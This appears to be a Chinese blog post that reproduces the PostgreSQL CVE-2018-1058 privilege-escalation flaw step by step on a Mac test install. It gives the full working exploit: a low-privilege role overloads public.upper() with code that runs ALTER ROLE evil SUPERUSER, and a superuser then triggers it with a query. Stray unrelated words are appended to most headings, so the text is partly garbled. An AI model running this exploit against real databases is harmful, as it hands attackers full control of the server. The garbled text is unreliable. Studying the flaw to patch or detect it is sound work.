零、參考文獻和緒論:html
一、先知社區chybeta大神的--PostgreSQL 遠程代碼執行漏洞分析及利用—【CVE-2018-1058】--一文sql
二、博客園hunchill的--Mac 下 PostgreSQL 的安裝與使用--一文數據庫
1、PostgreSQL環境搭建:函數
在mac上面安裝postgresql並啓動postgresqlpost
1 brew install postgresql 2 brew services start postgresql
2、建立用戶配置環境:spa
一、初始化數據庫,忘記在安裝中仍是初始化中,生成了超級用戶,個人超級用戶是hostname,這裏使用bobac代替postgresql
1 brew services stop postgresql 2 initdb /usr/local/var/postgres -E utf8 3 brew services start postgresql
二、建立普通用戶code
1 createuser evil -P
三、建立數據庫:htm
1 createdb evil -O evil -E UTF8 -e
3、原理分析介紹:blog
這個漏洞的原理就是在public空間上重載函數,加入惡意的程序代碼。等待其餘帳戶,尤爲是高權限帳戶調用這個函數的時候,就會執行惡意代碼(以高權限執行)從而達到遠程惡意代碼執行的目的。
4、過程舉例(參考)
一、建立表並插入數據(evil權限執行):
1 CREATE TABLE public.hehehehe AS SELECT 'evil'::varchar AS contents;
二、定義函數(evil權限執行):
1 CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$ 2 ALTER ROLE evil SUPERUSER; 3 SELECT pg_catalog.upper($1); 4 $$ LANGUAGE SQL VOLATILE;
三、查詢時候使用upper函數(bobac權限執行)
1 SELECT upper(contents) FROM hehehehe;
此時就執行了ALTER ROLE evil SUPERUSER;
四、而後查看用戶權限:
1 SELECT rolname,rolsuper FROM pg_roles;